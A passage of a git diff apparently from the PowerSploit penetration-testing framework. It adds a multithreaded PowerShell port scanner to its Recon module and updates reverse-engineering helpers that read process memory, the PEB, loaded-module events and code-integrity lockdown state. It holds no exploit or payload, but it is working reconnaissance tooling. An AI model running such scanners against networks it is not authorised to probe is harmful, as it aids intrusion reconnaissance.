`$openPorts.Add($p) + } + else + { + #write-host "$p is closed" + `$closedPorts.Add($p) + + } + `$sockets[$p].Close(); + + `$sockets.Remove($p) + } +"@ + $timeoutCallback = @" + #write-host "$p is filtered" + `$sockets[$p].Close() + if (!`$timeouts[$p].Disposed) { + `$timeouts[$p].Dispose() + `$filteredPorts.Add($p) + } + `$sockets.Remove($p) +"@ + + $timeoutCallback = [scriptblock]::Create($timeoutCallback) + + $timeouts[$p] = New-Object System.Timers.Timer + Register-ObjectEvent -InputObject $timeouts[$p] -EventName Elapsed -Action $timeoutCallback | Out-Null + $timeouts[$p].Interval = $timeout + $timeouts[$p].Enabled = $true + + $myscriptblock = [scriptblock]::Create($scriptBlockAsString) + $x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) + + } + + function PortScan-Alive + { + Param ( + [Parameter(Mandatory = $True)] [String] $h + ) + + Try + { + + #ping + if ($hostPortList.Contains(-1)) + { + $ping = new-object System.Net.NetworkInformation.Ping + $pResult = $ping.send($h) + if ($pResult.Status -eq "Success") + { + return $True + } + } + foreach($Port in $hostPortList) + { + if ($Port -ne -1) + { + Test-Port -h $h -p $Port -timeout $Timeout + } + } + + do { + Start-Sleep -Milli 100 + if (($openPorts.Count -gt 0) -or ($closedPorts.Count -gt 0)) { + return $True + } + } + While ($sockets.Count -gt 0) + + } + Catch + { + Write-Error "Exception trying to host scan $h" + Write-Error $_.Exception.Message; + } + + return $False + } + + function Portscan-Port + { + Param ( + [Parameter(Mandatory = $True)] [String] $h + ) + + [string[]]$Ports = @() + + foreach($Port in $Portlist) + { + Try + { + Test-Port -h $h -p $Port -timeout $Timeout + } + Catch + { + Write-Error "Exception trying to scan $h port $Port" + Write-Error $_.Exception.Message; + } + } + } + [bool] $hostResult = $False + + if(!$SkipDiscovery) + { + [bool] $hostResult = PortScan-Alive $thost + $openPorts.clear() + $closedPorts.clear() + $filteredPorts.Clear() + } + if((!$PingOnly) -and ($hostResult -or $SkipDiscovery)) + { + Portscan-Port $thost + } + while ($sockets.Count -gt 0) { + Start-Sleep -Milli 500 + } + + return @($hostResult, $openPorts, $closedPorts, $filteredPorts) + } + } + + # the outer loop is to flush the loop. + # Otherwise Get-Job | Wait-Job could clog, etc + + [int]$saveIteration = 0 + [int]$computersDone=0 + [int]$upHosts=0 + while (($saveIteration * $SyncFreq) -lt $hostList.Count) + { + + Get-Job | Remove-Job -Force + $sIndex = ($saveIteration*$SyncFreq) + $eIndex = (($saveIteration+1)*$SyncFreq)-1 + + foreach ($iHost in $hostList[$sIndex..$eIndex]) + { + $ctr = @(Get-Job -state Running) + while ($ctr.Count -ge $nHosts) + { + Start-Sleep -Milliseconds $SleepTimer + $ctr = @(Get-Job -state Running) + } + + $computersDone++ + if(!$noProgressMeter) + { + Write-Progress -status "Port Scanning" -Activity $startMsg -CurrentOperation "starting computer $computersDone" -PercentComplete ($computersDone / $hostList.Count * 100) + } + + Start-Job -ScriptBlock $portScanCode -Name $iHost -ArgumentList @($iHost, $SkipDiscovery, $PingOnly, $Timeout, $portList, $hostPortList, $Threads) | Out-Null + } + + Get-Job | Wait-Job | Out-Null + + foreach ($job in Get-Job) + { + $jobOut = @(Receive-Job $job) + [bool]$hostUp = $jobOut[0] + $jobName = $job.Name + + $openPorts = $jobOut[1] + $closedPorts = $jobOut[2] + $filteredPorts = $jobOut[3] + + if($hostUp) { + $upHosts ++ + } + + if (!$quiet) + { + $hostDate = Get-Date + $hostObj = New-Object System.Object + $hostObj | Add-Member -MemberType Noteproperty -Name Hostname -Value $jobName + + $hostObj | Add-Member -MemberType Noteproperty -Name alive -Value $hostUp + $hostObj | Add-Member -MemberType Noteproperty -Name openPorts -Value $openPorts + $hostObj | Add-Member -MemberType Noteproperty -Name closedPorts -Value $closedPorts + $hostObj | Add-Member -MemberType Noteproperty -Name filteredPorts -Value $filteredPorts + $hostObj | Add-Member -MemberType NoteProperty -Name finishTime -Value $hostDate + + $scannedHostList += $hostobj + } + + Write-PortscanOut -outhost $jobName -isUp $hostUp -openPorts $openPorts -closedPorts $closedPorts -filteredPorts $filteredPorts -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream -SkipDiscovery $SkipDiscovery + } + + if ($grepStream) { + $grepStream.flush() + } + if ($xmlStream) { + $xmlStream.flush() + } + if($readableStream) { + $readableStream.flush() + } + + $saveIteration ++ + } + + $enddate = Get-Date + $totaltime = ($enddate - $startdate).TotalSeconds + $endMsg = "Port scan complete at $enddate ($totaltime seconds)" + if (!$SkipDiscovery) { + $endMsg += ", $upHosts hosts are up" + } + + Write-PortscanOut -comment $endMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream + + if($grepStream) { + $grepStream.Close() + } + if ($xmlStream) { + $xmlStream.Close() + } + if($readableStream) { + $readableStream.Close() + } + + return $scannedHostList + + } + Catch + { + Write-Error $_.Exception.Message; + } + } +} diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index afcb7fb..88287ef 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Recon.psm1'
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775a # List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
- 'Usage.md'
+ 'Invoke-Portscan.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
@@ -85,4 +85,4 @@ FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsL # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file +}
diff --git a/Recon/Recon.psm1 b/Recon/Recon.psm1 index e5234fb..81d3818 100644 --- a/Recon/Recon.psm1 +++ b/Recon/Recon.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ReverseEngineering/ConvertTo-String.ps1 b/ReverseEngineering/ConvertTo-String.ps1 index ab46c74..1c030b4 100644 --- a/ReverseEngineering/ConvertTo-String.ps1 +++ b/ReverseEngineering/ConvertTo-String.ps1 @@ -1,4 +1,4 @@ -filter ConvertTo-String +filter ConvertTo-String { <# .SYNOPSIS @@ -67,4 +67,4 @@ http://www.exploit-monday.com $FileStream.Close() Write-Output $BinaryText -}
\ No newline at end of file +} diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml new file mode 100644 index 0000000..21115d6 --- /dev/null +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -0,0 +1,46 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>ILInstructionView</Name> + <ViewSelectedBy> + <TypeName>IL_INSTRUCTION</TypeName> + </ViewSelectedBy> + <TableControl> + <AutoSize/> + <TableHeaders> + <TableColumnHeader> + <Label>Position</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Instruction</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>Operand</Label> + </TableColumnHeader> + <TableColumnHeader> + <Label>MetadataToken</Label> + </TableColumnHeader> + </TableHeaders> + <TableRowEntries> + <TableRowEntry> + <TableColumnItems> + <TableColumnItem> + <PropertyName>Position</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Instruction</PropertyName> + </TableColumnItem> + <TableColumnItem> + <PropertyName>Operand</PropertyName> + </TableColumnItem> + <TableColumnItem> + <ScriptBlock>if ($_.MetadataToken) {"0x$($_.MetadataToken.ToString('X8'))"}</ScriptBlock> + </TableColumnItem> + </TableColumnItems> + </TableRowEntry> + </TableRowEntries> + </TableControl> + </View> + </ViewDefinitions> +</Configuration> diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index b3b615e..6948919 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -68,9 +68,9 @@ Disassembles the System.Array.BinarySearch(Array, Object) method .INPUTS
-System.Reflection.MethodInfo
+System.Reflection.MethodInfo, System.Reflection.ConstructorInfo
-The method description containing the raw IL bytecodes.
+A method or constructor description containing the raw IL bytecodes.
.OUTPUTS
@@ -88,7 +88,8 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
- [System.Reflection.MethodInfo]
+ [ValidateScript({$_ -is [Reflection.MethodInfo] -or $_ -is [Reflection.ConstructorInfo]})]
+ [Object]
$MethodInfo
)
@@ -131,6 +132,7 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf $Type = $Op.OperandType
$Operand = $null
+ $OpInt = $null
if ($Type -eq 'InlineNone') {
$OperandLength = 0
@@ -191,19 +193,23 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf if (($OperandLength -gt 0) -and ($OperandLength -ne 4) -and ($Type -ne 'InlineSwitch') -and ($Type -ne 'ShortInlineBrTarget')) {
# Simply print the hex for all operands with immediate values
- $Operand = "0x{0}" -f (($IL[$Position..($Position+$OperandLength-1)] | ForEach-Object { $_.ToString('X2') }) -join '')
+ $Operand = "0x{0}" -f (($IL[($Position+$OperandLength-1)..$Position] | ForEach-Object { $_.ToString('X2') }) -join '')
}
$Instruction = @{
Position = $InstructionPostion
- Instruction = $Op.Name
+ Instruction = $Op
Operand = $Operand
+ MetadataToken = $OpInt
}
# Return a custom object containing a position, instruction, and fully-qualified operand
- New-Object PSObject -Property $Instruction
+ $InstructionObject = New-Object PSObject -Property $Instruction
+ $InstructionObject.PSObject.TypeNames.Insert(0, 'IL_INSTRUCTION')
+ $InstructionObject
+
# Adjust the position in the opcode array accordingly
$Position += $OperandLength
}
-}
\ No newline at end of file +}
diff --git a/ReverseEngineering/Get-MethodAddress.ps1 b/ReverseEngineering/Get-MethodAddress.ps1 index 4a488cf..1ab0d41 100644 --- a/ReverseEngineering/Get-MethodAddress.ps1 +++ b/ReverseEngineering/Get-MethodAddress.ps1 @@ -1,4 +1,4 @@ -function Get-MethodAddress +function Get-MethodAddress { <# .SYNOPSIS @@ -117,4 +117,4 @@ http://www.exploit-monday.com/2012/11/Get-MethodAddress.html { Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." } -}
\ No newline at end of file +} diff --git a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml index 10d16d4..fa3ed41 100644 --- a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml +++ b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml @@ -415,5 +415,26 @@ </ListEntries> </ListControl> </View> + <View> + <Name>CodeIntegrityTypeView</Name> + <ViewSelectedBy> + <TypeName>_SYSTEM_CODEINTEGRITY_INFORMATION</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>CodeIntegrityOptions</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + <ListItem> + <PropertyName>LockdownState</PropertyName> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> </ViewDefinitions> -</Configuration>
\ No newline at end of file +</Configuration> diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 index 98cdd4d..2bde8f6 100644 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ b/ReverseEngineering/Get-NtSystemInformation.ps1 @@ -1,4 +1,4 @@ -function Get-NtSystemInformation +function Get-NtSystemInformation { <# .SYNOPSIS @@ -49,6 +49,10 @@ Returns information about user-mode objects and their respective kernel pool allocations. +.PARAMETER CodeIntegrityInformation + + Returns user-mode code integrity flags. + .PARAMETER GlobalFlags Returns a list of all enabled global flags. @@ -139,6 +143,10 @@ [Switch] $LockInformation, + [Parameter( ParameterSetName = 'CodeIntegrityInformation' )] + [Switch] + $CodeIntegrityInformation, + [Parameter( ParameterSetName = 'GlobalFlags' )] [Switch] $GlobalFlags @@ -202,6 +210,7 @@ #$EnumBuilder.DefineLiteral('SystemExceptionInformation', [Int32] 0x00000021) | Out-Null #$EnumBuilder.DefineLiteral('SystemRegistryQuotaInformation', [Int32] 0x00000025) | Out-Null #$EnumBuilder.DefineLiteral('SystemLookasideInformation', [Int32] 0x0000002D) | Out-Null + $EnumBuilder.DefineLiteral('SystemCodeIntegrityInformation', [Int32] 0x00000067) | Out-Null $SystemInformationClass = $EnumBuilder.CreateType() } @@ -213,6 +222,15 @@ $NtStatus = $EnumBuilder.CreateType() } + try { $LockdownState = [LOCKDOWN_STATE] } catch [Management.Automation.RuntimeException] + { + $EnumBuilder = $ModuleBuilder.DefineEnum('LOCKDOWN_STATE', 'Public', [Int32]) + $EnumBuilder.DefineLiteral('UMCINONE', [Int32] 0x00000000) | Out-Null + $EnumBuilder.DefineLiteral('UMCIENFORCE', [Int32] 0x00000004) | Out-Null + $EnumBuilder.DefineLiteral('UMCIAUDIT', [Int32] 0xC0000008) | Out-Null + $LockdownState = $EnumBuilder.CreateType() + } + try { $PoolType = [POOL_TYPE] } catch [Management.Automation.RuntimeException] { $EnumBuilder = $ModuleBuilder.DefineEnum('POOL_TYPE', 'Public', [UInt32]) @@ -615,7 +633,7 @@ foreach ($i in 0..($Count-1)) { - [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, $StructType) + [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $StructType) $StructAddress = ([IntPtr]($StructAddress.ToInt64() + $StructSize)) } @@ -940,7 +958,7 @@ # Base address of the _SYSTEM_OBJECTTYPE_INFORMATION struct $ObjectTypeAbsoluteAddress = [IntPtr]($PtrData.ToInt64() + $NextTypeOffset) - $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, $ObjectTypeClass) + $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, [Type] $ObjectTypeClass) if ($Result.NumberOfObjects -gt 0) { @@ -952,7 +970,7 @@ do { - $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), $ObjectClass) + $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), [Type] $ObjectClass) $ResultHashTable2 = @{ Object = $ObjectResult.Object @@ -1019,6 +1037,26 @@ Get-Struct @Arguments } + 'CodeIntegrityInformation' { + $CIStructLength = 8 + $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($CIStructLength) + [Runtime.InteropServices.Marshal]::WriteInt64($PtrData, 0) + [Runtime.InteropServices.Marshal]::WriteByte($PtrData, 8) # The length field in SYSTEM_CODEINTEGRITY_INFORMATION must be set to 8 + $ntdll::NtQuerySystemInformation($SystemInformationClass::SystemCodeIntegrityInformation, $PtrData, $CIStructLength, [Ref] 0) | Out-Null + $CIInfo = [Runtime.InteropServices.Marshal]::ReadInt32(([IntPtr]($PtrData.ToInt64() + 4))) + [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) + + $ResultHashTable = @{ + CodeIntegrityOptions = $CIInfo + LockdownState = ($CIInfo -band 0x1C) -as $LockdownState + } + + $CodeIntegrityType = New-Object PSObject -Property $ResultHashTable + $CodeIntegrityType.PSObject.TypeNames.Insert(0, '_SYSTEM_CODEINTEGRITY_INFORMATION') + + Write-Output $CodeIntegrityType + } + 'GlobalFlags' { $TotalLength = 0 $ReturnedLength = 0 diff --git a/ReverseEngineering/Get-PEB.format.ps1xml b/ReverseEngineering/Get-PEB.format.ps1xml index 3d075eb..59b5362 100644 --- a/ReverseEngineering/Get-PEB.format.ps1xml +++ b/ReverseEngineering/Get-PEB.format.ps1xml @@ -1207,4 +1207,4 @@ </ListControl>
</View>
</ViewDefinitions>
-</Configuration>
\ No newline at end of file +</Configuration>
diff --git a/ReverseEngineering/Get-PEB.ps1 b/ReverseEngineering/Get-PEB.ps1 index 1a196ac..7ec5089 100644 --- a/ReverseEngineering/Get-PEB.ps1 +++ b/ReverseEngineering/Get-PEB.ps1 @@ -1,4 +1,4 @@ -function Get-PEB
+function Get-PEB
{
<#
.SYNOPSIS
@@ -482,7 +482,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx $PEBStruct = $TypeBuilder.CreateType()
}
- $PEBSize = [Runtime.InteropServices.Marshal]::SizeOf($PEBStruct)
+ $PEBSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$PEBStruct)
#endregion
function Local:Get-StructFromMemory
@@ -562,7 +562,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx do
{
$MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION)
- $NativeUtils::VirtualQueryEx($Handle, $Flink, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf($MEMORY_BASIC_INFORMATION)) | Out-Null
+ $NativeUtils::VirtualQueryEx($Handle, $Flink, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null
$Protection = $ProtectField.GetValue($MemoryBasicInformation)
$AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation)
@@ -577,7 +577,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx return
}
- $StructSize = [Runtime.InteropServices.Marshal]::SizeOf($LdrModuleStruct)
+ $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LdrModuleStruct)
$EndOfAllocation = $AllocationBase + $RegionSize
$EndOfStruct = $MemoryAddress.ToInt64() + $StructSize
@@ -611,15 +611,15 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx return
}
- $ParsedLdrModule = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, $LdrModuleStruct)
+ $ParsedLdrModule = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $LdrModuleStruct)
[Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr)
switch ($LoadOrder)
{
'InLoadOrderModuleList' { $Flink = $ParsedLdrModule.InLoadOrderModuleList.Flink }
- 'InMemoryOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf($ListEntryStruct)) }
- 'InInitializationOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf($ListEntryStruct))) }
+ 'InMemoryOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)) }
+ 'InInitializationOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) }
}
$SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ))
@@ -636,7 +636,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx elseif ($StructType -eq [String] -and $UnicodeStringSize)
{
$MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION)
- $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf($MEMORY_BASIC_INFORMATION)) | Out-Null
+ $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null
$Protection = $ProtectField.GetValue($MemoryBasicInformation)
$AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation)
@@ -695,7 +695,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx else
{
$MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION)
- $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf($MEMORY_BASIC_INFORMATION)) | Out-Null
+ $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null
$Protection = $ProtectField.GetValue($MemoryBasicInformation)
$AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation)
@@ -710,7 +710,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx return
}
- $StructSize = [Runtime.InteropServices.Marshal]::SizeOf($StructType)
+ $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$StructType)
$EndOfAllocation = $AllocationBase + $RegionSize
$EndOfStruct = $MemoryAddress.ToInt64() + $StructSize
@@ -744,7 +744,7 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx return
}
- $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, $StructType)
+ $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType)
[Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr)
$SafeHandle.Close()
@@ -935,8 +935,8 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx switch ($j)
{
1 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($CustomPEB['Ldr'].InLoadOrderModuleList.Flink) -StructType ($LdrModuleStruct) -LoadOrder 'InLoadOrderModuleList' }
- 2 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf($ListEntryStruct))) -StructType ($LdrModuleStruct) -LoadOrder 'InMemoryOrderModuleList' }
- 3 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf($ListEntryStruct)))) -StructType ($LdrModuleStruct) -LoadOrder 'InInitializationOrderModuleList' }
+ 2 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) -StructType ($LdrModuleStruct) -LoadOrder 'InMemoryOrderModuleList' }
+ 3 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)))) -StructType ($LdrModuleStruct) -LoadOrder 'InInitializationOrderModuleList' }
}
$ParsedOrderedModules = New-Object Hashtable[]($OrderedModules.Length)
@@ -1089,4 +1089,4 @@ http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx END{}
-}
\ No newline at end of file +}
diff --git a/ReverseEngineering/Get-Strings.ps1 b/ReverseEngineering/Get-Strings.ps1 index 7acb9f1..2cb971c 100644 --- a/ReverseEngineering/Get-Strings.ps1 +++ b/ReverseEngineering/Get-Strings.ps1 @@ -1,4 +1,4 @@ -function Get-Strings
+function Get-Strings
{
<#
.SYNOPSIS
@@ -95,4 +95,4 @@ http://www.exploit-monday.com }
}
END {}
-}
\ No newline at end of file +}
diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 index ccf6d5b..68f7651 100644 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ b/ReverseEngineering/Get-StructFromMemory.ps1 @@ -1,4 +1,4 @@ -function Get-StructFromMemory
+function Get-StructFromMemory
{
<#
.SYNOPSIS
@@ -131,7 +131,7 @@ http://www.exploit-monday.com $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION)
# Confirm you can actually read the address you're interested in
- $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf($MEMORY_BASIC_INFORMATION)) | Out-Null
+ $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type] $MEMORY_BASIC_INFORMATION)) | Out-Null
$PAGE_EXECUTE_READ = 0x20
$PAGE_EXECUTE_READWRITE = 0x40
@@ -154,7 +154,7 @@ http://www.exploit-monday.com throw 'The address specified does not have read access.'
}
- $StructSize = [Runtime.InteropServices.Marshal]::SizeOf($StructType)
+ $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $StructType)
$EndOfAllocation = $AllocationBase + $RegionSize
$EndOfStruct = $MemoryAddress.ToInt64() + $StructSize
@@ -194,10 +194,10 @@ http://www.exploit-monday.com Write-Verbose "Struct Size: $StructSize"
Write-Verbose "Bytes read: $BytesRead"
- $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, $StructType)
+ $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType)
[Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr)
$SafeHandle.Close()
Write-Output $ParsedStruct
-}
\ No newline at end of file +}
diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 Binary files differindex 77b24f6..52c38c8 100644 --- a/ReverseEngineering/New-Object.ps1 +++ b/ReverseEngineering/New-Object.ps1 diff --git a/ReverseEngineering/ProcessModuleTrace.format.ps1xml b/ReverseEngineering/ProcessModuleTrace.format.ps1xml new file mode 100644 index 0000000..ffb6761 --- /dev/null +++ b/ReverseEngineering/ProcessModuleTrace.format.ps1xml @@ -0,0 +1,36 @@ +<?xml version="1.0" encoding="utf-8" ?> +<Configuration> + <ViewDefinitions> + <View> + <Name>ProcessModuleTraceView</Name> + <ViewSelectedBy> + <TypeName>LOADED_MODULE</TypeName> + </ViewSelectedBy> + <ListControl> + <ListEntries> + <ListEntry> + <ListItems> + <ListItem> + <PropertyName>TimeCreated</PropertyName> + </ListItem> + <ListItem> + <PropertyName>ProcessId</PropertyName> + </ListItem> + <ListItem> + <PropertyName>FileName</PropertyName> + </ListItem> + <ListItem> + <Label>ImageBase</Label> + <ScriptBlock>"0x$($_.ImageBase.ToString("X$([IntPtr]::Size * 2)"))"</ScriptBlock> + </ListItem> + <ListItem> + <PropertyName>ImageSize</PropertyName> + <FormatString>0x{0:X8}</FormatString> + </ListItem> + </ListItems> + </ListEntry> + </ListEntries> + </ListControl> + </View> + </ViewDefinitions> +</Configuration> diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 new file mode 100644 index 0000000..85f7105 --- /dev/null +++ b/ReverseEngineering/ProcessModuleTrace.ps1 @@ -0,0 +1,103 @@ +function Register-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Starts a trace of loaded process modules + + PowerSploit Function: Register-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.OUTPUTS + + System.Management.Automation.PSEventJob + + If desired, you can manipulate the event returned with the *-Event cmdlets. + +.LINK + + http://www.exploit-monday.com/ +#> + + [CmdletBinding()] Param () + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) + { + throw 'You must run this cmdlet from an elevated PowerShell session.' + } + + $ModuleLoadedAction = { + $Event = $EventArgs.NewEvent + + $ModuleInfo = @{ + TimeCreated = [DateTime]::FromFileTime($Event.TIME_CREATED) + ProcessId = $Event.ProcessId + FileName = $Event.FileName + ImageBase = $Event.ImageBase + ImageSize = $Event.ImageSize + } + + $ModuleObject = New-Object PSObject -Property $ModuleInfo + $ModuleObject.PSObject.TypeNames[0] = 'LOADED_MODULE' + + $ModuleObject + } + + Register-WmiEvent 'Win32_ModuleLoadTrace' -SourceIdentifier 'ModuleLoaded' -Action $ModuleLoadedAction +} + +function Get-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace + + PowerSploit Function: Get-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: Register-ProcessModuleTrace + Optional Dependencies: None + +.OUTPUTS + + PSObject + +.LINK + + http://www.exploit-monday.com/ +#> + + $Events = Get-EventSubscriber -SourceIdentifier 'ModuleLoaded' -ErrorVariable NoEventRegistered -ErrorAction SilentlyContinue + + if ($NoEventRegistered) + { + throw 'You must execute Register-ProcessModuleTrace 